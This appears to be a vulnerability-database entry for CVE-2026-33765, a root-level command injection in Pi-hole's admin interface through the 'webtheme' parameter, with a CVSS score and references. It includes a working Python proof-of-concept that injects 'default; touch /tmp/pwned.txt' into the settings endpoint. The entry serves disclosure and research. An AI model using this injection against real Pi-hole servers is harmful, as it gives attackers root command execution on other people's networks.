CVE-2026-33765

Description

Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. Versions prior to 6.0 have a critical OS Command Injection vulnerability in the savesettings.php file. The application takes the user-controlled $_POST['webtheme'] parameter and concatenates it directly into a system command executed via PHP's exec() function. Since the input is neither sanitized nor validated before being passed to the shell, an attacker can append arbitrary system commands to the intended pihole command. Furthermore, because the command is executed with sudo privileges, the injected commands will run with elevated (likely root) privileges. Version 6.0 patches the issue.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:* - VULNERABLE

Pi-hole Admin Interface < 6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_pihole(target_url):
    # Target endpoint where the vulnerability resides
    url = f"{target_url}/admin/savesettings.php"
    
    # The payload injects a command to create a file or execute a shell command
    # Example: `; touch /tmp/pwned` creates a file to prove execution
    malicious_payload = "default; touch /tmp/pwned.txt"
    
    # Data payload to be sent via POST
    data = {
        "webtheme": malicious_payload
    }
    
    try:
        print(f"[*] Sending payload to {url}...")
        response = requests.post(url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if /tmp/pwned.txt exists on the target.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual target IP or domain
    target = "http://192.168.1.100"
    exploit_pihole(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33765
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33765
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33765/
[4] VulDB https://vuldb.com/cve/CVE-2026-33765
[5] https://github.com/pi-hole/web/security/advisories/GHSA-828h-5x96-rqx7

Raw JSON Data

JSON

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